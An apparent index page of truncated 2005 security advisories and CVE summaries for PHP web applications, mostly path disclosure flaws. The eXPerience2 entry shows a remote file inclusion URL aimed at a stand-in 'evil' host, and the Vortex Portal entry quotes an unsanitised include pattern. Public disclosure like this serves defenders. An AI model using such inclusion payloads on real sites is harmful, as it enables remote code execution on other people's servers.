[Full-disclosure] ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6

ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6 Author: Gerardo 'Astharot' Di Giacomo Date: 26 March 2005 Product: NukeBookmarks .6 URL: http://nukebookmarks.sourceforge.net/ About the product ----------------- From the home page: "Nuke Bookmarks is a module for PHP-Nuke that allows...

Nuke BookMarks 0.6 - 'Marks.php' Full Path Disclosure

source: https://www.securityfocus.com/bid/12906/info Nuke Bookmarks is prone to a path disclosure issue when invalid data is submitted. This issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer...

Multipe flaws in Koobi CMS 4.2.3

Talte Security Advisory 2 Product: Koobi CMS 4.2.3 and maybe other versions Homepage: http://www.dream4.de/ Risk: medium Type: path disclosure, xss, possible sql injections Bug Found by mircia [email protected] Page: http://security.talte.net greets to Lithuania ; Koobi is nice and it loo...

CVE-2005-0855

CoolForum 0.8.1 beta and earlier allows remote attackers to obtain sensitive path information via direct requests to 1 entete.php, 2 profileaccueil.php, 3 profilemdp.php, 4 profilenotify.php, 5 profileoptions.php, 6 profileperso.php, 7 profilepm.php, or 8 readannonce.php, which leaks the full...

vortex.txt

Vortex Portal Multiples Bugs Vendor: http://www.VortexPortal.net Contact: Brian Price Email: [email protected] I. Remote File Inclusion: content.php -- ... if !isset$act requireonce"main.php"; else requireonce"$act.php"; ... ? index.php -- ... requireonce$rootdir."/content.php"; ... Exploits...

phpSysInfo23.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 phpSysInfo 2.3 Multiple vulnerabilities cXIb8O3.11 Author: Maksymilian Arciemowicz cXIb8O3 Date: 22.3.2005 from SECURITYREASON.COM TEAM - --- 0.Description --- PHPSysInfo 2.3 is a customizable PHP Script that parses /proc, and formats information...

codebug-8.txt

CODEBUG Labs Advisory 8 Title: Multiple vulnerabilities in Topic Calendar 1.0.1 for phpBB Author: Alberto Trivero English Version: Alberto Trivero Product: Topic Calendar 1.0.1 Type: Multiple Vulnerabilities Web: http://www.codebug.org/ -- Software Page www.phpbb.com/phpBB/viewtopic.php?t=150857...

[SECURITYREASON.COM] phpSysInfo 2.3 Multiple vulnerabilities cXIb8O3.11

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 phpSysInfo 2.3 Multiple vulnerabilities cXIb8O3.11 Author: Maksymilian Arciemowicz cXIb8O3 Date: 22.3.2005 from SECURITYREASON.COM TEAM - --- 0.Description --- PHPSysInfo 2.3 is a customizable PHP Script that parses /proc, and formats information...

Multiple vulnerabilities in Topic Calendar 1.0.1 for phpBB

CODEBUG Labs Advisory 8 Title: Multiple vulnerabilities in Topic Calendar 1.0.1 for phpBB Author: Alberto Trivero English Version: Alberto Trivero Product: Topic Calendar 1.0.1 Type: Multiple Vulnerabilities Web: http://www.codebug.org/ -- Software Page www.phpbb.com/phpBB/viewtopic.php?t=150857...

CVE-2005-0855: Undefined Security Weakness

CoolForum 0.8.1 beta and earlier allows remote attackers to obtain sensitive path information via direct requests to 1 entete.php, 2 profileaccueil.php, 3 profilemdp.php, 4 profilenotify.php, 5 profileoptions.php, 6 profileperso.php, 7 profilepm.php, or 8 readannonce.php, which leaks the full...

-==CoolForum Path Disclosure & Possible SQL Injection==-

/ -------------------------------------------------------- Neo Security Team NST® - Advisory 11 - 20/03/05 -------------------------------------------------------- Program: CoolForum Homepage: http://coolforum.net/ Vulnerable Versions: CoolForum v.0.8.1 beta & Lowers Risk: Low!! Impact: Path...

CVE-2005-0790: Undefined Security Weakness

phpAdsNew 2.0.4 allows remote attackers to obtain sensitive information via a direct request to 1 lib-xmlrpcs.inc.php, 2 maintenance-activation.php, 3 maintenance-cleantables.php, 4 maintenance-autotargeting.php, 5 maintenance-reports.php, 6 phpads.php, 7 remotehtmlview.php, 8 click.php, 9...

[ISR] - Novell iChain Mini FTP Server Unauthorized Remote Path Disclosure Vulnerability

|| || ISR || Infobyte Security Research || www.infobyte.com.ar || 03.15.2005 || .:: SUMMARY Novell iChain Mini FTP Server Unauthorized Remote Path Disclosure Vulnerability Version: IChain Version v2.3, It is suspected that all previous versions of IChan are vulnerable. .:: BACKGROUND The Novell...

[SECURITYREASON.COM] phpAdsNew 2.0.4-pr1 Multiple vulnerabilities cXIb8O3.9

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 phpAdsNew 2.0.4-pr1 Multiple vulnerabilities cXIb8O3.9 Author: Maksymilian Arciemowicz cXIb8O3 Date: 13.3.2005 from securityreason.com TEAM - --- 0.Description --- phpAdsNew is an open-source ad server, with an integrated banner management interface a...

paFileDB31.txt

-= SecurityReason-2005-SRA01 =- -= Multiple vulnerabilities in paFileDB =- Author: sp3x Date: 8. March 2005 Affected software : =================== paFileDB version : = 3.1 Description : ============= paFileDB is designed to allow webmasters have a database of files for download on their site. To...

eXPerience2.txt

Multiples Vulnerabilities Product: eXPerience2 I. Remote File Inclusion http://www.host-vulnerable.com/eXPerience2/modules.php?file=http://evil- file/ II. Full Path Disclosure http://www.host-vulnerable.com/eXPerience2/modules.php Thank you very match :D Infektion Group irc.gigachat.net infektion...

[SECURITYREASON.COM] Mass Full Path Disclosure in paFileDB

-= SecurityReason-2005-SRA02 =- -= Mass Full Path Disclosure in paFileDB =- Author: sp3x Date: 12 March 2005 Affected software : =================== paFileDB version : =3.1 Description : ============= paFileDB is designed to allow webmasters have a database of files for download on their site. To...

CVE-2005-0732

PY Software Active Webcam WebServer webcam.exe 5.5 allows remote attackers to obtain the full path of the web server via a request for a non-existent filename, which leaks the full path in an error message...

CVE-2005-0722

CVE-2005-0722 affects eXPerience2. A remote attacker can trigger a PHP error by requesting modules.php with no parameters, causing the web root full path to be disclosed in the error message. This is a path disclosure vulnerability rather than code execution. The available documents do not specif...

CVE-2005-0724: Undefined Security Weakness

paFileDB 3.1 and earlier allows remote attackers to obtain sensitive information via 1 an invalid str parameter to pafiledb.php, or a direct request to 2 viewall.php, 3 stats.php, 4 search.php, 5 rate.php, 6 main.php, 7 license.php, 8 category.php, 9 download.php, 10 file.php, 11 email.php, or 12...